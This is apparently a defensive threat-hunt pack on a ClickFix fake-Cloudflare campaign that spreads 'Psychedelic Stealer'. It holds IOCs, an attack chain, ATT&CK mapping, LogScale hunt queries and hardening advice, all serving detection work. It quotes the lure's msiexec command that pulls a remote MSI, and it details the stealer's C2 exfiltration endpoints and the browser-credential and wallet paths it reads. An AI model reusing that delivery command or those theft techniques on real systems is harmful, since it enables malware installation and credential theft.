Psychedelic Stealer — ClickFix Fake-Cloudflare Campaign
Executive Summary
Arctic Wolf Labs is tracking an ongoing campaign that compromises legitimate Ukrainian business websites (a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller/publisher, a psychological facility, a tool retailer, and an automotive retailer) and injects an iframe that loads a fake, Ukrainian-language Cloudflare "human verification" page. Instead of the usual encoded PowerShell ClickFix payload, this campaign poisons the clipboard with a msiexec.exe /i <url>.msi /passive command and instructs the visitor to paste it into the Windows Run dialog. The MSI retrieves a previously undocumented 64-bit Windows infostealer that Arctic Wolf named Psychedelic Stealer after its embedded configuration tag. The implant harvests Chromium browser passwords, account tokens, and cryptocurrency-wallet data (browser-extension and desktop-wallet), installs a browser native-messaging bridge, persists via a logon-triggered scheduled task named psychedelicloveUtils, and polls a hardcoded C2 for further tasking (including arbitrary EXE/MSI/PowerShell execution).
The attacker's own operational infrastructure is short-lived and same-day: the delivery domain uasputnik[.]com was registered 2026-09-09 and lure activity was already observed within days. An exposed lure-management panel (branded "РУБЛЁВКА TDS" / Rublevka TDS) recorded 557 views, 426 clicks and 79 "complete" events across 32 countries, 446/351/71 of them from Ukraine, confirming the Ukraine-focused targeting.
The attacker's highest point of leverage is the moment the victim executes a Windows-Installer command they pasted themselves: it bypasses browser and mail-gateway file-download controls entirely. The defender's highest point of leverage is the same moment, from the other side: a Run-dialog-parented msiexec.exe invoking a remote, non-corporate MSI URL is a rare, high-fidelity, one-line detection that predates payload execution, persistence, and theft altogether (Section 8, Q1).
Source Review & Web Hunter Notes
| Tier | Source | Key Finding | Carry Forward |
|---|---|---|---|
| Primary | Arctic Wolf Labs technical report | Full attack chain, C2 API path table, malware analysis (routine offsets, capabilities), IOC inventory, WHOIS/infrastructure timeline, and the vendor's own hunting leads | Yes — primary source for the entire pack |
| Corroborating | The Hacker News (2026-09-24) | Independent write-up citing the Arctic Wolf report directly; confirms the affected-site list and is the only saved snapshot that enumerates the full 7-name MSI payload set (elita/miks/astra/harbor/neon/sova/vyse) | Yes — used to corroborate delivery-stage filenames |
| Corroborating (partial capture) | Techzine Global | Independent summary confirming attack mechanism, capabilities and telemetry figures | Partial — direct HTML fetch was blocked (HTTP 403) from every User-Agent tried and has no Wayback Machine snapshot; the saved snapshot is a tool-mediated text extraction, used for corroboration only, never as the sole source for an atomic IOC |
| Dropped | dev.ua coverage (khakery-zlamuiut-ukrainski-saity-1790327470) | N/A | No — returned HTTP 403 on every direct-fetch attempt (curl, 3 User-Agent variants) and via the WebFetch tool; no Wayback Machine snapshot exists. Not cited anywhere in this pack. |
| Reference | MITRE ATT&CK T1204.004 | Confirms "Malicious Copy and Paste" as the current ATT&CK classification for ClickFix-style clipboard execution | Yes — used for Section 6 mapping |
Web-hunter decisions
- Every atomic indicator shipped in this pack (hashes, IPs, domains, filenames, task name, extension IDs) is drawn verbatim from the Arctic Wolf and/or The Hacker News snapshots. Nothing from the Techzine summary or from general knowledge was used to originate an indicator.
- Arctic Wolf explicitly frames its interaction telemetry (view/click/"complete") as not proof of execution or compromise; this pack preserves that caveat rather than treating panel "complete" events as confirmed infections (see Section 3).
- No prompt-injection or embedded instructions directed at an AI/automation tool were found in either fetched source. Both read as ordinary vendor/press technical prose.
Hunt Brief & Attack Chain
Hunt hypotheses (ordered by fidelity)
- H1 (high):
msiexec.exeis launched withexplorer.exeas its parent (Windows Run dialog) and a command line containing a remote HTTP(S) MSI URL. This is the single highest-value signal in the whole chain: it fires before payload execution, is rare in normal enterprise use, and directly corresponds to how the campaign forces execution. - H2 (high): A
msiexec.exe /passiveinstall carries the campaign's distinctiveORG_NOTE=MSI property containing the Ukrainian "verification" text — a string unique to this lure's clipboard payload. - H3 (high): A process or file named
psychedeliclove.exeexecutes, or the confirmed SHA-256 is observed. - H4 (high): A logon-triggered scheduled task named
psychedelicloveUtilsis registered — the implant's sole documented persistence mechanism. - H5 (high): A host makes an outbound connection to the hardcoded implant C2 (
193.178.159.128:8080) or the next-stage payload host (107.175.82.242:9000). - H6 (medium): A host resolves the delivery domain
uasputnik[.]comor the iframe-loader domainfsputnik[.]com— useful as an early pivot but weaker alone (DNS resolution does not prove the MSI was fetched or executed). - H7 (medium): Native-messaging bridge artifacts (
host.ps1,host.bat,com.lunex.explorer.json) are written to a browser profile directory. - H8 (medium): A non-browser process reads Chromium credential stores (
Login Data,Web Data,Local State) or known wallet-extension storage paths.
Attack chain
| # | Step | Telemetry | Hunt Angle |
|---|---|---|---|
| 1 | Victim browses a compromised legitimate Ukrainian business site carrying an injected iframe that loads fsputnik[.]com/tds/tracker[.]js | GAP — browser-rendered content, no Falcon endpoint telemetry | Website-side: file-integrity monitoring / CMS audit trail on hosted client sites (Section 7) |
| 2 | Fake Cloudflare "verification" page renders; visitor clicks the CAPTCHA container, which fires report('click') then copyToClipboard(currentPayload), silently writing the msiexec command to the clipboard | GAP — browser clipboard API write, no endpoint telemetry | Enterprise browser policy: block programmatic clipboard writes (Section 12/13) |
| 3 | Victim presses Win+R, pastes, presses Enter — msiexec.exe /i "https://uasputnik[.]com/elita.msi" /passive ORG_NOTE="…" executes | Good — ProcessRollup2 (parent=explorer.exe) | Q1, Q2, Q3 (Section 8) |
| 4 | MSI installs an associated component that decrypts a next-stage URL and retrieves psychedeliclove.exe from 107.175.82.242:9000/wilow/ | Good — NetworkConnectIP4, subsequent file write | Q6 (network), correlate with Q1 |
| 5 | psychedeliclove.exe (64-bit) executes on the host | Good — ProcessRollup2 / hash match | Q4 |
| 6 | Logon-triggered scheduled task psychedelicloveUtils registered for persistence; extensive host profiling collected | Good — ScheduledTaskRegistered | Q5 |
| 7 | Implant terminates selected browser processes, extracts an embedded extension archive into browser profiles, drops host.ps1/host.bat/com.lunex.explorer.json for a native-messaging bridge named com.lunex.explorer | Partial — file-write telemetry coverage for non-PE script/JSON writes is sensor/tenant dependent | Q8 (⚠ validate in tenant) |
| 8 | Implant reads Chromium Login Data/Web Data/Local State and wallet-extension/desktop-wallet storage; builds structured records (bot_id, browser, profile, URL, username, password / service, gaia_id, token) | Partial — requires file-read telemetry (FileOpenInfo/FileReadInfo) | Q9 (⚠ validate in tenant) |
| 9 | Check-in and data exfil to hardcoded C2 193.178.159.128:8080 via /api/v1/checkin, /api/v1/ext/passwords, /api/v1/ext/tokens, /api/v1/ext/wallets; ongoing tasking via /api/v1/agent/tasks?hwid=%s can deliver further EXE/COM/BAT/CMD/MSI/PowerShell | Good — NetworkConnectIP4 | Q6; any attachment execution reprocesses through Q1/Q3-style hunts |
Note on the lure-management panel: Arctic Wolf explicitly states panel "view", "click" and "complete" events measure interaction with the web lure only and do not independently confirm clipboard success, command execution, or host compromise. This pack does not treat panel telemetry as confirmed infection evidence anywhere below.
Consolidated IOC Table
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| domain | uasputnik.com | high | detect | Lure/panel/MSI-delivery hostname; registered 2026-09-09 17:02:25 UTC | 2027-03-25 |
| domain | fsputnik.com | high | detect | Injected-iframe JS loader (/tds/tracker.js) | 2027-03-25 |
| ipv4 | 107.175.82.242 | high | detect | Next-stage payload host, TCP 9000, serves /wilow/psychedeliclove.exe | 2027-03-25 |
| ipv4 | 193.178.159.128 | high | detect | Hardcoded implant C2, TCP 8080 | 2027-03-25 |
| ipv4 | 176.53.159.40 | medium | hunt | A-record association with uasputnik.com, 2026-09-09 to 2026-09-14 (AS154383 ZORNTECH WEB SOLUTIONS); not itself confirmed hosting infrastructure | 2026-12-25 |
| url | https://uasputnik.com/elita.msi | high | detect | First-stage MSI download URL from the clipboard command | 2027-03-25 |
| sha256 | 38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878 | high | detect | elita.msi installer hash | 2027-03-25 |
| sha256 | 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90 | high | detect | psychedeliclove.exe stealer payload (64-bit) | 2027-03-25 |
| filename | psychedeliclove.exe | high | detect | Final payload filename | 2027-03-25 |
| filename | elita.msi, miks.msi, astra.msi, harbor.msi, neon.msi, sova.msi, vyse.msi | medium | hunt | Observed first-stage MSI package filenames; rotated across the observation window, filename alone is weak without the delivery domain | 2026-12-25 |
| taskname | psychedelicloveUtils | high | detect | Logon-trigger persistence scheduled task name | 2027-03-25 |
| other | com.lunex.explorer / com.lunex.explorer.json | medium | hunt | Native-messaging bridge name / manifest filename | 2026-12-25 |
| other | host.ps1 / host.bat | low | hunt | Generic bridge-component filenames; pair with a co-located payload hit before escalating | 2026-12-25 |
| other | executed_tasks.json | low | hunt | Local C2-task-state tracking artifact | 2026-12-25 |
| string | Psychedelic | medium | enrich | Embedded implant configuration tag; source of the malware name | 2026-10-25 |
| string | РУБЛЁВКА TDS / Rublevka TDS | low | enrich | Exposed lure-management panel branding | 2026-10-25 |
| wallet-ext-id | nkbihfbeogaeaoehlefnkodbefgpgknn, ejbalbakoplchlghecdalmeeeajnimhm (MetaMask); egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet); mcohilncbfahbmgdjkbpemcciiolgcge, pbpjkcldjiffchgbbndmhojiacbgflha (OKX Wallet); lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal) | medium | hunt | Chrome/Edge extension IDs the implant's wallet-collection routine targets | 2026-12-25 |
Affected Surface & Telemetry Matrix
| Surface | Required Telemetry | Priority | Gap Risk |
|---|---|---|---|
| Windows endpoint — process execution | ProcessRollup2 / SyntheticProcessRollup2 | Critical | Low — standard sensor coverage |
| Windows endpoint — scheduled tasks | ScheduledTaskRegistered | Critical | Low |
| Windows endpoint — network egress | NetworkConnectIP4, DnsRequest | Critical | Low |
| Windows endpoint — file read of credential/wallet stores | FileOpenInfo / FileReadInfo | High | Medium-High — read-event capture is licensing/config dependent; validate coverage before relying on Q9 alone |
| Windows endpoint — non-PE file writes (.ps1/.bat/.json) | PeFileWritten / NewExecutableWritten (partial coverage for scripts) | Medium | Medium — these events are documented for PE/script-adjacent writes but exact coverage of arbitrary text-file writes should be confirmed per sensor version |
| Browser (Chromium) — clipboard API, iframe rendering | None available from the Falcon endpoint sensor | Critical | Full gap — compensating controls only (Section 12/13) |
| Compromised web-hosting infrastructure (client sites) | Web server / CMS audit logs, file-integrity monitoring | High for MSPs hosting client sites | Full gap from the endpoint sensor's perspective; must be covered at the hosting layer |
ATT&CK Mapping
| Tactic | Technique | Name | Observed Behavior |
|---|---|---|---|
| Initial Access | T1189 | Drive-by Compromise | Injected iframe on a compromised legitimate Ukrainian business site loads attacker JS (fsputnik[.]com/tds/tracker.js) |
| Execution | T1204.004 | User Execution: Malicious Copy and Paste | Fake Cloudflare CAPTCHA copies a command to the clipboard and instructs the visitor to paste it into Windows Run |
| Execution / Defense Evasion | T1218.007 | System Binary Proxy Execution: Msiexec | msiexec.exe /i <remote-MSI> /passive used instead of the more commonly-detected encoded PowerShell ClickFix pattern |
| Command and Control / Execution | T1105 | Ingress Tool Transfer | MSI-associated component decrypts and retrieves the next-stage payload psychedeliclove.exe from 107.175.82.242:9000 |
| Persistence | T1053.005 | Scheduled Task | Logon-triggered scheduled task psychedelicloveUtils |
| Persistence / Collection | T1176 | Browser Extensions | Implant extracts an embedded extension archive into browser profiles and installs a native-messaging bridge (com.lunex.explorer) |
| Defense Evasion | T1036 | Masquerading | Fake Cloudflare verification page with forged Ray ID and visitor identifier; ORG_NOTE property mimics legitimate MSI metadata; nearby decrypted strings reference MsMpEng.exe/explorer.exe |
| Credential Access | T1555.003 | Credentials from Password Stores: Web Browsers | Extracts URL/username/decrypted-password records from Chromium browsers, submits to /api/v1/ext/passwords |
| Credential Access | T1539 | Steal Web Session Cookie | Reads the Chromium Web Data DB for service/gaia_id/token records, submits to /api/v1/ext/tokens |
| Credential Access / Collection | T1552.001 | Unsecured Credentials: Credentials In Files | Targets browser-extension wallet storage (MetaMask, Trust Wallet, OKX, SafePal) and desktop-wallet files (Exodus, Atomic, Electrum, Bitcoin Core, Litecoin Core) |
| Discovery | T1082 / T1033 | System Information / Owner-User Discovery | Extensive host profiling: computer name, username, OS, CPU, memory, GPU, disk, timezone, language, screen, MAC, admin status, AV, installed browsers |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | HTTP C2 to 193.178.159.128:8080 with check-in, heartbeat, task-polling and exfil endpoints, keyed by a sample-specific X-API-Key header |
Native Audit-Log Hunts
For hosts without Falcon coverage, or to cross-validate Section 8, use native Windows / infrastructure logging:
- Windows Security Event ID 4688 (process creation, requires command-line auditing enabled): filter
New Process Name=msiexec.exe,Creator Process Name=explorer.exe, command line containing/passiveor anhttp(s)://URL. - MsiInstaller Event ID 1040/1042 (Application log): captures the source of an MSI install, including a remote URL source, independent of Falcon.
- Task Scheduler Operational log Event ID 4698 (task registered): filter
Task NamecontainingpsychedelicloveUtils. - Sysmon (hosts without EDR): Event ID 1 (Process Create) for the msiexec/psychedeliclove.exe pattern, Event ID 3 (Network Connect) for the two C2/staging IPs, Event ID 11 (File Create) for
host.ps1/host.bat/com.lunex.explorer.json. - DNS resolver / secure web gateway logs: query for resolutions of
uasputnik.comandfsputnik.comeven where Falcon DnsRequest telemetry is unavailable or disabled. - Chrome/Edge enterprise policy compliance report: verify the
ClipboardAllowedForUrls/DefaultClipboardSettingpolicy (Section 13, Playbook 1) is actually applied fleet-wide — this is the compensating control for the sensor-blind clipboard step. - Web-hosting / CMS audit trail (for MSPs or businesses hosting client-facing sites of the small-business profile this campaign targets): review file-integrity-monitoring alerts or CMS admin/audit logs for unauthorized template or iframe modifications. This is the only realistic detection point for the initial iframe injection step, which no endpoint sensor observes.
CrowdStrike LogScale CQL Hunt Queries
Looks for: msiexec.exe launched with explorer.exe as its immediate parent (the Windows Run dialog is hosted inside explorer.exe) and a command line requesting a remote HTTP(S) install. FP: legitimate remote MSI installs launched interactively via Run are rare in a managed fleet and worth investigating on their own merits.
// HUNT: ClickFix-style msiexec.exe launched from the Windows Run dialog, fetching a remote MSI package // MITRE: T1204.004, T1218.007 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 (Windows sensor) // FALSE POSITIVES: interactive admin-run remote MSI installs via Run dialog are rare -- treat any hit as worth investigating // LOOKBACK: 7d (set in the Falcon time picker) #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^msiexec\.exe$/i | ParentBaseFileName=/^explorer\.exe$/i | CommandLine=/\/i\s+["']?https?:\/\//i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine]) | sort(@timestamp, order=desc)
Looks for: the exact MSI property (ORG_NOTE=) the lure's clipboard command carries alongside /passive. FP: none expected — this property name plus its Ukrainian "verification" value is unique to this lure.
// HUNT: msiexec.exe /passive install carrying the ClickFix lure's ORG_NOTE verification-text property // MITRE: T1218.007, T1204.004 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 // FALSE POSITIVES: none expected -- ORG_NOTE is not a standard MSI property in legitimate deployment tooling // LOOKBACK: 7d #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^msiexec\.exe$/i | CommandLine=/\/passive/i | CommandLine=/ORG_NOTE=/i | table([@timestamp, ComputerName, UserName, CommandLine]) | sort(@timestamp, order=desc)
Looks for: uasputnik.com or any of the seven observed first-stage MSI filenames in a msiexec command line. FP: low — these filenames are generic in isolation, which is why this query pairs them with the domain in the same alternation rather than alerting on filename alone.
// HUNT: msiexec.exe command line referencing the campaign delivery domain or a known first-stage MSI filename // MITRE: T1105, T1218.007 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 // LOOKBACK: 7d #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^msiexec\.exe$/i | CommandLine=/uasputnik\.com|(elita|miks|astra|harbor|neon|sova|vyse)\.msi/i | table([@timestamp, ComputerName, UserName, CommandLine]) | sort(@timestamp, order=desc)
Looks for: execution of psychedeliclove.exe by name or the confirmed SHA-256. FP: low — both the filename and the hash are campaign-specific.
// HUNT: Execution of the Psychedelic Stealer payload (psychedeliclove.exe), by filename or confirmed SHA-256 // MITRE: T1105, T1204.004 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 // LOOKBACK: 7d #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^psychedeliclove(\.exe)?$/i or SHA256HashData=/^06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, SHA256HashData, CommandLine]) | sort(@timestamp, order=desc)
Looks for: registration of the implant's own-named logon scheduled task. FP: low — the task name is campaign-specific.
// HUNT: Logon-triggered scheduled task named psychedelicloveUtils (Psychedelic Stealer persistence) // MITRE: T1053.005 // CONF: high FP: low COST: low // REQUIRES: ScheduledTaskRegistered // LOOKBACK: 7d #event_simpleName=ScheduledTaskRegistered | TaskName=/psychedelicloveUtils/i | table([@timestamp, ComputerName, UserName, TaskName]) | sort(@timestamp, order=desc)
Looks for: outbound connections to the hardcoded implant C2 (193.178.159.128:8080) or the next-stage payload host (107.175.82.242:9000). FP: low — both are non-CDN, campaign-dedicated IP:port pairs.
// HUNT: Network connections to Psychedelic Stealer C2 (193.178.159.128:8080) or next-stage payload host (107.175.82.242:9000) // MITRE: T1071.001, T1105 // CONF: high FP: low COST: low // REQUIRES: NetworkConnectIP4 // LOOKBACK: 7d #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4=/^(193\.178\.159\.128|107\.175\.82\.242)$/ | RemotePort=/^(8080|9000)$/ | table([@timestamp, ComputerName, UserName, ContextBaseFileName, RemoteAddressIP4, RemotePort]) | sort(@timestamp, order=desc)
Looks for: DNS lookups for the lure/delivery domain uasputnik.com or the iframe-loader domain fsputnik.com. FP: low, but per Arctic Wolf's own guidance a DNS hit alone does not prove the MSI was fetched or executed — correlate with Q1-Q4 before escalating.
// HUNT: DNS requests for Psychedelic Stealer infrastructure (lure/delivery uasputnik.com, iframe-loader fsputnik.com) // MITRE: T1071.001, T1189 // CONF: medium FP: low COST: low // REQUIRES: DnsRequest // LOOKBACK: 7d #event_simpleName=DnsRequest | DomainName=/uasputnik\.com|fsputnik\.com/i | table([@timestamp, ComputerName, UserName, ContextBaseFileName, DomainName]) | sort(@timestamp, order=desc)
Looks for: the implant's browser-bridge component files (host.ps1, host.bat, com.lunex.explorer/.json). FP: medium — host.ps1/host.bat are generic names that could collide with unrelated internal tooling; pair with a Q4 hit before escalating.
// HUNT: Native-messaging bridge artifact files written by Psychedelic Stealer's browser-component installer (host.ps1, host.bat, com.lunex.explorer / .json) // MITRE: T1176, T1036 // CONF: medium FP: medium COST: low // REQUIRES: PeFileWritten / NewExecutableWritten -- coverage of non-PE script/JSON writes is sensor/tenant dependent, validate before relying on this alone (⚠ validate in tenant) // FALSE POSITIVES: host.ps1 / host.bat are generic names -- do not action a solo hit // TUNING: require this query to co-occur with a Q4 (psychedeliclove.exe) hit on the same aid within the lookback window before escalating to a ticket // LOOKBACK: 7d #event_simpleName=/PeFileWritten|NewExecutableWritten/ | TargetFileName=/host\.(ps1|bat)$/i or TargetFileName=/com\.lunex\.explorer(\.json)?$/i | table([@timestamp, ComputerName, UserName, TargetFileName]) | sort(@timestamp, order=desc)
Looks for: a process other than the browser itself reading Login Data/Web Data/Local State or a targeted wallet-extension storage path. FP: medium — password managers and backup/sync agents legitimately read the same paths.
// HUNT: Non-browser process access to Chromium credential stores or known wallet-extension storage (Psychedelic Stealer harvesting stage) // MITRE: T1555.003, T1539, T1552.001, T1005 // CONF: medium FP: medium COST: medium // REQUIRES: FileOpenInfo / FileReadInfo -- confirm read-event capture is licensed/enabled in your tenant (⚠ validate in tenant) // FALSE POSITIVES: browser-sync tools, password-manager extensions, and endpoint backup agents also read these paths // TUNING: exclude ImageFileName values for the browsers themselves and known-good password managers reading their own data, e.g. !in(ImageFileName, values=["chrome.exe","msedge.exe","brave.exe","opera.exe","opera_gx.exe","vivaldi.exe","yandex.exe","1password.exe","lastpass.exe"]) // LOOKBACK: 7d #event_simpleName=/FileOpenInfo|FileReadInfo/ | TargetFileName=/(Login Data|Web Data|Local State)$/i or TargetFileName=/Local Extension Settings\\(nkbihfbeogaeaoehlefnkodbefgpgknn|ejbalbakoplchlghecdalmeeeajnimhm|egjidjbpglichdcondbcbdnbeeppgdph|mcohilncbfahbmgdjkbpemcciiolgcge|pbpjkcldjiffchgbbndmhojiacbgflha|lgmpcpglpngdoalbgeoldeajfclnhafa)/i | !in(ImageFileName, values=["chrome.exe","msedge.exe","brave.exe","opera.exe","opera_gx.exe","vivaldi.exe","yandex.exe","1password.exe","lastpass.exe"]) | table([@timestamp, ComputerName, UserName, ImageFileName, TargetFileName]) | sort(@timestamp, order=desc)
Custom IOA Recommendations
IOA candidates
| IOA Name | Source Query | Pattern | Exclusions | Deployment Path |
|---|---|---|---|---|
| DETECT — ClickFix msiexec Remote MSI via Run Dialog | Q1 | FileName=msiexec.exe AND ParentBaseFileName=explorer.exe AND CommandLine matches /i "https?://... | Known internal software-deployment tooling that legitimately spawns msiexec as a child of explorer.exe (rare; verify per fleet before enabling in Prevent mode) | Start in Detect for 1-2 weeks against the Q1 hunt query results, then promote to Prevent |
| DETECT/PREVENT — Psychedelic Stealer Payload | Q4 | SHA256 = confirmed hash, or FileName regex ^psychedeliclove(\.exe)?$ | None — campaign-specific hash/name | Ships at detect in the Section 10 CSV, matching Section 4. The payload SHA-256 is the one indicator in this pack safe to promote to Prevent once you have validated it in your tenant, because a hash cannot be reassigned the way a domain or IP can (Section 11, network-IOC promotion row) |
| DETECT — psychedelicloveUtils Scheduled Task | Q5 | TaskName matches psychedelicloveUtils | None — campaign-specific string | Detect-only Scheduled Search; task-name IOAs are not typically promoted to Prevent |
Alert package — DETECT: ClickFix msiexec Remote MSI via Run Dialog (Q1)
Scheduled Search description: Fires when msiexec.exe is spawned directly from the Windows Run dialog (parent explorer.exe) with a command line requesting a remote HTTP(S) MSI. This is the earliest reliable detection point in the Psychedelic Stealer chain and generalizes to other ClickFix-via-msiexec campaigns.
Alert email subject: [HIGH] Detection: Psychedelic Stealer ClickFix -- Run-dialog msiexec fetching remote MSI
Alert email body: A host executed msiexec.exe as a direct child of explorer.exe (consistent with a Windows Run dialog paste) referencing a remote MSI package over HTTP(S). This matches the delivery mechanism of the Psychedelic Stealer / fake-Cloudflare ClickFix campaign (Arctic Wolf Labs, 2026-09-24): the user was very likely shown a fake CAPTCHA/verification page and instructed to paste this command. Immediate actions: (1) network-isolate the host pending triage, (2) capture the full command line and the referenced MSI URL/hash, (3) check for a subsequent psychedeliclove.exe execution or connections to 107.175.82.242:9000 / 193.178.159.128:8080, (4) if either is present, treat browser-stored credentials and any crypto wallets on the host as compromised and begin credential rotation.
Triage checklist
- Pull the full
CommandLineand confirm the referenced MSI URL/domain against the IOC table (Section 4). - Check whether the MSI actually installed (subsequent child processes of msiexec.exe, or a new file matching a known MSI name).
- Run Q4 for the same
aidto check forpsychedeliclove.exeexecution. - Run Q5 for the same
aidto check forpsychedelicloveUtilsscheduled-task creation. - Run Q6 for the same
aidto check for connections to either C2/staging IP. - If any of the above hit: treat all browser-saved credentials, session tokens, and any cryptocurrency wallets present on the host as compromised; force credential rotation and revoke active sessions for affected accounts.
- Interview the user: which site were they on, did they see a "human verification" prompt, did they paste a command into Run.
- If the referenced site is one your organization or an MSP client hosts, notify the site owner — it is likely compromised and serving the injected iframe to other visitors right now.
Pivot queries
- Host-scoped: re-run Q1, Q4, Q5, Q6, Q8, Q9 filtered to the alerting
aidacross a 30-day window to reconstruct the full timeline. - Environment-wide: run Q6 and Q7 fleet-wide to find any other host that has ever talked to the campaign's C2/staging infrastructure or resolved its domains, even without an initial Q1 hit (covers hosts where the msiexec step predates this pack's deployment).
Q2, Q3, Q7, Q8, Q9 are investigate-only (hunt/pivot); no alert email is generated for them — they exist to enrich and corroborate a Q1/Q4/Q5/Q6 hit, not to page on their own.
Machine-Readable IOC Appendix
Grouped, one-click indicator blocks. All values below are drawn from the saved source snapshots (Section 2 / Section 18) and trace to Psychedelic-Stealer-ClickFix-Hunt-sources/.
type,value,action,severity,expiration,description,tags domain,uasputnik.com,detect,high,2027-03-25,Psychedelic Stealer lure/panel/MSI-delivery hostname,campaign:PsychedelicStealer domain,fsputnik.com,detect,high,2027-03-25,Psychedelic Stealer injected-iframe JS loader,campaign:PsychedelicStealer ipv4,107.175.82.242,detect,high,2027-03-25,Psychedelic Stealer next-stage payload host (TCP 9000),campaign:PsychedelicStealer ipv4,193.178.159.128,detect,high,2027-03-25,Psychedelic Stealer implant C2 (TCP 8080),campaign:PsychedelicStealer ipv4,176.53.159.40,hunt,medium,2026-12-25,A-record association with uasputnik.com 2026-09-09 to 2026-09-14,campaign:PsychedelicStealer url,https://uasputnik.com/elita.msi,detect,high,2027-03-25,Psychedelic Stealer first-stage MSI download URL,campaign:PsychedelicStealer sha256,38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878,detect,high,2027-03-25,elita.msi installer hash,campaign:PsychedelicStealer sha256,06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90,detect,high,2027-03-25,psychedeliclove.exe stealer payload,campaign:PsychedelicStealer filename,psychedeliclove.exe,detect,high,2027-03-25,Psychedelic Stealer final payload filename,campaign:PsychedelicStealer
# Run-dialog msiexec fetching a remote MSI (primary signal, see Q1) FileName=/^msiexec\.exe$/i ParentBaseFileName=/^explorer\.exe$/i CommandLine=/\/i\s+["']?https?:\/\//i # msiexec with the campaign's ORG_NOTE lure property (see Q2) FileName=/^msiexec\.exe$/i CommandLine=/\/passive/i CommandLine=/ORG_NOTE=/i # Logon-trigger scheduled task persistence (see Q5) #event_simpleName=ScheduledTaskRegistered TaskName=/psychedelicloveUtils/i
psychedeliclove.exe - final stealer payload (64-bit) elita.msi / miks.msi / astra.msi / harbor.msi / neon.msi / sova.msi / vyse.msi - observed first-stage MSI filenames psychedelicloveUtils - logon scheduled task (persistence) com.lunex.explorer(.json) - native-messaging bridge name / manifest host.ps1 / host.bat - bridge component files (generic names, corroborate before acting) executed_tasks.json - local C2 task-state tracking artifact <<BP_INSTALLER_HWID>> - placeholder patched into deployed browser components РУБЛЁВКА TDS / Rublevka TDS - lure-management panel branding
# Confirm Chrome clipboard-write policy is enforced (Playbook 1) reg query "HKLM\SOFTWARE\Policies\Google\Chrome" /v DefaultClipboardSetting # Confirm the msiexec outbound-firewall rule exists (Playbook 2) Get-NetFirewallRule -DisplayName "Block-Msiexec-Outbound" | Select-Object Enabled,Action,Direction # Audit currently registered scheduled tasks for the campaign task name (Playbook 3 / Q5 cross-check) schtasks /query /fo LIST /v | Select-String -Pattern "psychedelicloveUtils"
Detection Validation Gates
| Gate | Check | Status / Owner Action |
|---|---|---|
| Telemetry ready | ProcessRollup2, ScheduledTaskRegistered, NetworkConnectIP4, DnsRequest confirmed flowing for target host group | Confirm sensor policy enables these event classes before enabling Q1-Q7 as Scheduled Searches |
| Telemetry ready (partial) | FileOpenInfo/FileReadInfo and non-PE file-write coverage (Q8, Q9) | ⚠ validate in tenant — confirm licensing/config before trusting Q8/Q9 as anything more than best-effort |
| Benign baseline | Run Q1 and Q3 over a 30-day historical window before enabling live alerting, to characterize any legitimate remote-MSI deployment tooling in the environment | Add any confirmed-legitimate tool to the Q1/IOA exclusion list |
| Positive tests | Confirm each query's field/event names against a live tenant sample row (per crowdstrike-logscale-v3 guidance) before promotion | Field names in this pack are checked against the published Falcon data-model reference; event coverage for FileOpenInfo/FileReadInfo/non-PE writes still needs a tenant-side confirmation |
| Promotion | Q1 and Q4 are Prevent/Detect IOA candidates (Section 9); Q2, Q3, Q5, Q6, Q7 stay Detect/hunt; Q8, Q9 stay investigate-only until file-telemetry coverage is confirmed | Review after first 2 weeks of live data |
| Promotion (network IOCs) | Every indicator in the Section 4 table and the Section 10 CSV ships at detect or hunt, never prevent. All of them are single-sourced to the Arctic Wolf report, and the two IPs sit on commodity hosting where addresses are reassigned | Do not promote a domain or IP to Prevent on this pack alone. Require a second independent source confirming the infrastructure is still attacker-controlled, plus a check of your own egress logs for legitimate traffic to the same address. The payload SHA-256 is the safest promotion candidate, since a hash cannot be reassigned |
Hardening — Tiered & Deployable
Controls are tiered by deployment friction and cover the three surfaces this threat actually touches: the Windows endpoint, the Chromium browser, and DNS/network egress. A fourth surface, the web-hosting layer that hosts the compromised business sites, is out of scope for endpoint tooling and is called out separately.
- Block programmatic clipboard writes from untrusted web origins via Chrome/Edge enterprise policy (
DefaultClipboardSetting/ClipboardAllowedForUrls). This directly breaks the ClickFix delivery mechanism at the one point that is entirely browser-side and otherwise invisible to endpoint telemetry. Authority: MITRE M1038 (Execution Prevention); Chrome Enterprise policy documentation (Google). Verify: Section 10 audit block, Config/Policy Audit. - Restrict outbound network access for
msiexec.exevia host-based firewall (msiexec.exe legitimately needs internet access only in specific managed-deployment scenarios). Authority: MITRE M1037 (Filter Network Traffic). Verify: Section 10 audit block. - Block the confirmed campaign infrastructure (Section 4/10 IOC list) at DNS/proxy/firewall and via Falcon Custom IOC import. Authority: MITRE M1037.
- AppLocker/WDAC policy restricting MSI installer sources to signed publishers or an internal software-distribution path, blocking arbitrary remote-MSI execution outright. Authority: MITRE M1038; CIS Microsoft Windows Benchmark, Application Control section. Pilot on a ring before fleet-wide enforcement.
- Enable and centralize Windows Installer verbose logging (MsiInstaller Event ID 1040/1042) into the SIEM, independent of EDR, so remote-MSI installs are visible even on hosts with reduced sensor coverage. Authority: Microsoft Windows Installer logging documentation.
- Restrict non-admin scheduled-task creation for logon-trigger tasks via Task Scheduler folder ACLs / GPO, raising the bar for the persistence step. Authority: MITRE M1018 (User Account Management); Microsoft Security Baseline guidance.
